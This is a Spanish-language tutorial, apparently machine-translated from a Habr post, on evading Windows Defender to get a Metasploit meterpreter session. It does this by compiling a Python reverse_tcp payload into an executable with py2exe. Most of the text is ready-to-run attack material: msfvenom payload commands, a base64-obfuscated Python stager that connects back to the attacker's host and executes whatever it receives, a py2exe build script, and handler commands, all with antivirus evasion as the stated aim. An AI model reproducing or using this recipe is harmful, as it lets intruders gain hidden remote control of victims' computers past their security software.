Cómo moverse por Windows Defender de forma económica y alegre: sesión de meterpreter a través de python

imagen

Hola a todos Hoy consideraremos la opción de ejecutar sesiones de meterpreter en una máquina con Windows 10 con los últimos parches (incluido Windows Defender). Y también pasaremos por alto los antivirus. Meterpreter es un relleno multifuncional avanzado (carga útil, carga), que puede expandirse dinámicamente en tiempo de ejecución. En circunstancias normales, esto le proporciona un shell básico y le permite agregarle nuevas funciones según sea necesario.
Haremos esto usando Python y veremos cómo se comportan las herramientas antivirus.

Al predecir la pregunta: "¿Necesitamos Python en la máquina víctima para ejecutar exe?", Responderé de inmediato, no, no es necesario, todo ya está dentro.

En este artículo usaremos:

  • Windows 10 con Windows Defender habilitado con bases de datos actualizadas (computadora víctima 192.168.1.113);
  • Kali Linux para usar metasploit y msfvenom (192.168.1.126);
  • Windows 10 para ensamblar el binario (en nuestro laboratorio hace coincidir la computadora de la víctima) con los instalados;
  • Python (3, pero también para 2 veremos);
  • py2exe .

Para comenzar, describimos el problema: cree un archivo exe con una carga estándar, cópielo en la máquina de la víctima y vea a qué conduce.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe 

Recibimos una advertencia de nuestro viejo amigo Windows Defender, a quien todos amamos mucho.

imagen

Si le preguntamos a VirusTotal, él dirá lo siguiente:

imagen

Ejecutemos Python y hagamos lo que todos nos unimos.

Python / meterpreter / reverse_tcp es un Metasploit Framework de carga útil multiplataforma único que le permite controlar de forma remota una computadora comprometida. No es necesario pensar en qué plataforma elegir, funcionará en cualquiera, pero en este caso crearemos un archivo ejecutable desde Windows.

Primero, instale el paquete py2exe, que le permite hacer un Windows ejecutable desde un script Python.

Lo tendremos Python 3.4 (todo lo anterior no es compatible con py2exe).

 py -3.4 –m pip install py2exe 

o

 pip install py2exe 

A continuación, cree un código Python sin formato con la extensión .py

 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py 

También en la salida de msfvenom necesitamos agregar la importación getpass, que se olvida de hacer él mismo. Al final, debería ser así:

 import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))) 

Ahora estamos listos para crear un binario.

 python34 -m py2exe.build_exe hunt.py --bundle-files 0 

Debería obtener lo siguiente:

imagen

Veamos nuevamente VirusTotal:

imagen

Ya mejor, ahora vamos a comprobarlo en acción: después de copiarlo en la máquina de la víctima, lo haremos sin alertas.

En paralelo, ejecute nuestro msf y controlador para python ejecutando los siguientes comandos en secuencia:

 msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run 

imagen

Avancemos y asegurémonos de que la sesión funcione correctamente.

imagen

Por lo tanto, se inicia la sesión y Windows Defender no funcionó, que es a lo que estábamos apuntando.

Al mismo tiempo, veamos qué hacer si tiene la segunda versión de Python.

  1. Descargar py2exe para python 2
  2. Generar carga útil con extensión .py
  3. Creamos el archivo setup.py y escribimos lo siguiente allí:

     from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, ) 
  4.  python.exe .\setup.py py2exe 


Todo debería ser igual.

Como resultado, noto que el shell python meterpreter es inferior en funcionalidad al Windows meterpreter más familiar. Por ejemplo, no podrá migrar al proceso o usar comandos como getsystem, pero aún así esta es una alternativa real: obtener una sesión para trabajar con msf (al menos enrutamiento y portfwd) y continuar trabajando dentro de la red.

Source: https://habr.com/ru/post/459168/


All Articles